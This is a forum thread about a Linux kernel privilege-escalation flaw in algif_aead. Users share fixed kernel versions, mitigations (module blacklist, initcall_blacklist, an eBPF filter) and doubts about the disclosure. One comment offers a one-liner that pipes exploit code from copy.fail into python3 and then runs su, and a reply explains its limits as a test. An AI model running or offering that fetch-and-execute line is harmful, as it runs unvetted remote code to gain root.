334
Serious Linux vulnerability affecting nearly every system. Patch your systems. (copy.fail)
submitted 4 months ago by to c/selfhosted@lemmy.world
74 comments fedilink hide all child comments
you are viewing a single comment's thread
view the rest of the comments
[–] 21 points 4 months ago (4 children)

Dumb question but... It says that patches were committed to mainline on April 1st. How would one know if their distro has already fixed this via updates or not? I run a rolling-release distro on my desktop and laptop, and usually update once every week (or two at most) so have already ran updates 2 or 3 times since the patch was deployed. Am I likely good? If I'm not, is running updates all I need to do to be good? How would I know?

  • permalink
  • fedilink
  • source
  • hideshow 8 child comments
    •
  • [–] 29 points 4 months ago (2 children)

    The only guaranteed fix is in the kernel. You’ll want to check your distro for the CVE. The disclosers very happily bring up all the distros affected but do not seem to have reached out to any of them to also patch. The CVE itself is still waiting for NVD analysis beyond its base score.

    I’m not actively saying they did anything wrong but I am saying they’re blowing smoke about responsible disclosure.

  • permalink
  • fedilink
  • source
  • parent
  • hideshow 4 child comments
    •
  • [–] 13 points 4 months ago* (last edited 4 months ago) (3 children)

    Check uname -r

    If you're on 6.19.12 or newer (7.0.1 if they've already bumped to 7) you're definitely safe

    For others, it looks fixed in 6.18.22 6.12.85 6.6.137 6.1.170 5.15.204

    If you don't have a safe kernel, A better solution referenced below than a module blacklist is to set initcall_blacklist=algif_aead_init in your kernel boot parameters. There is not a generic way to do this across distros, so you will need to look it up for your case

    ~~If you don't have the updated kernel, you can echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif.conf and reboot.

    That ensures the buggy module cannot be loaded until you have an updated kernel~~

  • permalink
  • fedilink
  • source
  • parent
  • hideshow 6 child comments
    •
  • [–] 8 points 4 months ago (1 child)

    I continue to protest against this claim. Blacklisting the kernel module does not work for a bunch of distributions including Alma, Rocky, RHEL and others because they have this module built into the kernel. There's no module to remove. You must use a syscall blacklist or similar mechanism to disable this.

  • permalink
  • fedilink
  • source
  • parent
  • hideshow 2 child comments
    •
  • [–] 6 points 4 months ago* (last edited 4 months ago) (1 child)

    I'm working off the knowledge that OP is using a rolling release, so is likely fixed by that for them. (Arch based, Cachy, and OpenSUSE Tumbleweed all have it as a module, and are the most commonly suggested. Fedora fixed it 2 weeks ago since they follow mainline, so I'd expect Bazzite to have it too. If they're using Debian Sid/Testing, it's both fixed and a module)

    If you're using something else, this eBPF filter is probably your best bet https://github.com/Dabbleam/CVE-2026-31431-mitigation

  • permalink
  • fedilink
  • source
  • parent
  • hideshow 2 child comments
    •
  • [–] 5 points 4 months ago (1 child)

    My personal suggestion would be to add initcall_blacklist=algif_aead_init to your kernel arguments. Ebpf is cool, but not a very trivial solution.

    I understand the suggestion might apply to a random, unspecified distro but I disapprove of both the exploit authors and the general Internet suggesting fixes that don't apply to every distro (including copy.fail's AI slop RHEL distro that doesn't exist) without caveating it.

    The kernel module blacklist won't work for every situation, if you're not being specific in telling people where it applies, it's best to suggest a solution that actually works regardless of distro or explain how to validate when it applies but nobody is doing that.

  • permalink
  • fedilink
  • source
  • parent
  • hideshow 2 child comments
    •
  • [–] 2 points 4 months ago (1 child)

    You could just install security updates

  • permalink
  • fedilink
  • source
  • parent
  • hideshow 2 child comments
    •
  • [–] 15 points 4 months ago (1 child)

    They aren't available on all releases - the people that found the issue didn't really follow responsible disclosure, so distros didn't have time to fix it

    They will fix it over the next couple days, but if you need a fix now, those are the ways to protect yourself until security updates make it out

  • permalink
  • fedilink
  • source
  • parent
  • hideshow 2 child comments
    •
  • [–] -1 points 4 months ago (1 child)

    You could try it

    curl https://copy.fail/exp | python3 && su

  • permalink
  • fedilink
  • source
  • parent
  • hideshow 2 child comments
    •
  • [–] 4 points 4 months ago

    Note that could prove you have it, but failure to execute does not prove yourself secure.

    For example, someone reported to me that their RHEL9 system was not vulnerable based on this result. But it was because python was 3.9 and didn't have os.splice, so the demonstrator failed, but the actual issue was there.

    Similarly, if '/usr/bin/su' isn't exactly there (maybe it's in /bin/su, or in /sbin/su, or /usr/sbin/su, or not there at all), the demonstrator will fail, but the kernel may still have the vulnerability, you just have to select a different victim utility (or change the cache for some other data other than an executable for other effects).

  • permalink
  • fedilink
  • source
  • parent